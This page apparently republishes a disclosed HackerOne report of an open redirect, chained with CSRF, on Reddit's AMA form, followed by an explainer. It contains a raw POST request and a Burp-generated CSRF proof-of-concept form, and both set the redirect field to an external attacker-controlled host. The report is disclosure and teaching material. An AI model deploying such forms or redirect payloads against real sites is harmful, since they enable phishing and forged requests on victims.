Skip to content
Open redirect Disclosed report Beginner

Open Redirect on www.redditinc.com via `failed` query param

A form on the site accepted a user-supplied URL in a hidden 'failed' field, which the reporter flagged as an open redirect. The reporter also showed the form could be submitted cross-site, chaining CSRF with the suspected redirect.

lu3ky-13 Follow

Originally disclosed on HackerOne

  • Triaged in 32 hours
  • Fixed in 4 days
  • Paid in 36 hours
  • Disclosed after 14 months

hello dear support

I have found the issue on https://www.redditinc.com/ama

HTTP request

POST /ama HTTP/1.1 Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw Cookie: CRAFT_CSRF_TOKEN=958b77eaad06452d68f0be48c5edf5b0d928b51a6c4afbb5f2f95397f18b43e2a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22jZdkLxGgRNVPWIF2OyxH-Lig9pTukLSS8OxYOVST%22%3B%7D;OptanonAlertBoxClosed=2021-07-12T01:35:46.350Z;OptanonConsent=isIABGlobal=false&datestamp=Mon+Jul+12+2021+04%3A35%3A46+GMT%2B0300+(Arabian+Standard+Time)&version=6.13.0&hosts=&consentId=71f221d5-8a57-4a90-9844-0a863bfc837d&interactionCount=2&landingPath=NotLandingPage&groups=C0001%3A1%2CC0002%3A1%2CC0004%3A1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 1508 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36 Host: www.redditinc.com Connection: Keep-alive

------------YWJkMTQzNDcw Content-Disposition: form-data; name="action"

zendesk/default/submit ------------YWJkMTQzNDcw Content-Disposition: form-data; name="agreement"

yes ------------YWJkMTQzNDcw Content-Disposition: form-data; name="description"

555 ------------YWJkMTQzNDcw Content-Disposition: form-data; name="email"

[email protected] ------------YWJkMTQzNDcw Content-Disposition: form-data; name="email_confirm"

[email protected] ------------YWJkMTQzNDcw Content-Disposition: form-data; name="failed"

http://xfs.bxss.me ------------YWJkMTQzNDcw Content-Disposition: form-data; name="name"

pHqghUme ------------YWJkMTQzNDcw Content-Disposition: form-data; name="organization"

Acunetix ------------YWJkMTQzNDcw Content-Disposition: form-data; name="participants"

pHqghUme ------------YWJkMTQzNDcw Content-Disposition: form-data; name="redirect"

74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you/ama-form-step-1 ------------YWJkMTQzNDcw Content-Disposition: form-data; name="subject"

AMA Request ------------YWJkMTQzNDcw Content-Disposition: form-data; name="success"

thank-you/ama-form-step-1 ------------YWJkMTQzNDcw Content-Disposition: form-data; name="ticket_form_id"

360000307211 ------------YWJkMTQzNDcw Content-Disposition: form-data; name="timeframe"

next-week ------------YWJkMTQzNDcw Content-Disposition: form-data; name="timezone"

(GMT-05:00) Eastern Time (US & Canada) ------------YWJkMTQzNDcw--

vuln here :Content-Disposition: form-data; name="failed"

http://xfs.bxss.me ------------YWJkMTQzNDcw

CSRF PoC

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://www.redditinc.com/ama" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="zendesk&#47;default&#47;submit" /> <input type="hidden" name="agreement" value="yes" /> <input type="hidden" name="description" value="555" /> <input type="hidden" name="email" value="sample&#64;email&#46;tst" /> <input type="hidden" name="email&#95;confirm" value="sample&#64;email&#46;tst" /> <input type="hidden" name="failed" value="http&#58;&#47;&#47;0bc7dpd4u9tmsh9ruo3n8644pvvlja&#46;burpcollaborator&#46;net" /> <input type="hidden" name="name" value="pHqghUme" /> <input type="hidden" name="organization" value="Acunetix" /> <input type="hidden" name="participants" value="pHqghUme" /> <input type="hidden" name="redirect" value="74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank&#45;you&#47;ama&#45;form&#45;step&#45;1" /> <input type="hidden" name="subject" value="AMA&#32;Request" /> <input type="hidden" name="success" value="thank&#45;you&#47;ama&#45;form&#45;step&#45;1" /> <input type="hidden" name="ticket&#95;form&#95;id" value="360000307211" /> <input type="hidden" name="timeframe" value="next&#45;week" /> <input type="hidden" name="timezone" value="&#40;GMT&#45;05&#58;00&#41;&#32;Eastern&#32;Time&#32;&#40;US&#32;&amp;&#32;Canada&#41;" /> <input type="submit" value="Submit request" /> </form> </body> </html>
bandicam_2021-07-12_04-47-54-654.mp4 From the original on HackerOne

Impact

Cross-Site Request Forgery (CSRF) To Open Redirect

The original report as published on HackerOne, by lu3ky-13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application used the user-controlled 'failed' form value as a redirect target without validating that it pointed to a trusted location.

Impact

The reporter claims a victim could be redirected from the trusted site to an attacker-chosen destination, and showed the form could be triggered cross-site, which could aid phishing.

What the attacker needed

Victim visits attacker page or link; form submission is processed

How it was found

  1. Send a POST request to the AMA form page with the multipart form fields.
  2. Set the 'failed' field to an external URL under the attacker's control.
  3. Submit the form and check whether the browser is redirected to that external URL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An open redirect is when a site takes a link from the request and sends the visitor on to that address without checking it. An attacker can abuse this to make a trusted-looking link that actually lands on a malicious page. Here the reporter pointed to a hidden form field called 'failed' as the suspected redirect target.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by lu3ky-13

View all

30 more disclosed reports, best first.

More from Reddit

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.